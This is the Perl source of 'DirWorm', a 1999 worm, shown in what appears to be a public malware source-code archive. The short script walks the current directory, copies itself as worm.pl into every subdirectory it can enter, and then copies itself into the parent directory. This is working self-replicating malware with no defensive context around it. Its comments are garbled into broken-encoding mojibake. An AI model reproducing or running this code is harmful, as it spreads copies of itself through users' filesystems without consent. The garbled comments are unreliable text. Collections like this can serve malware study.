MalwareSourceCode/Perl/Virus.Perl.DirWorm

14 lines
523 B
Plaintext
Raw Normal View History

2020-10-10 02:59:39 +00:00
# DirWorm by -Byst- (c) 1999
while (<*>) # <20><20><><EFBFBD> <20> <20><><EFBFBD> <20><><20><><EFBFBD><E0A5AA>
{
if (chdir($_)) { # <20><20><><EFBFBD> <20><><EFBFBD><E0A5AA><EFBFBD><EFBFBD><EFBFBD> - ᬥ<><E1ACA5><EFBFBD><EFBFBD><><E2A5AA><EFBFBD><EFBFBD> <20> <20><><EFBFBD>
@command = ("cp ../worm.pl ./worm.pl > /dev/null");
system @command; # <20><EFBFBD> <20><><EFBFBD><EFBFBD><E2A5AC><EFBFBD> <20>㭪樨 <20><><EFBFBD><EFBFBD><20><><EFBFBD> <20> <20><>
chdir(".."); # <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
}
}
@command = ("cp ./worm.pl ../worm.pl");
system @command; # <20><><EFBFBD><EFBFBD><EFBFBD>㥬 ⥫<> <20><><EFBFBD><E2A5AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0A5AA><EFBFBD><EFBFBD><EFBFBD>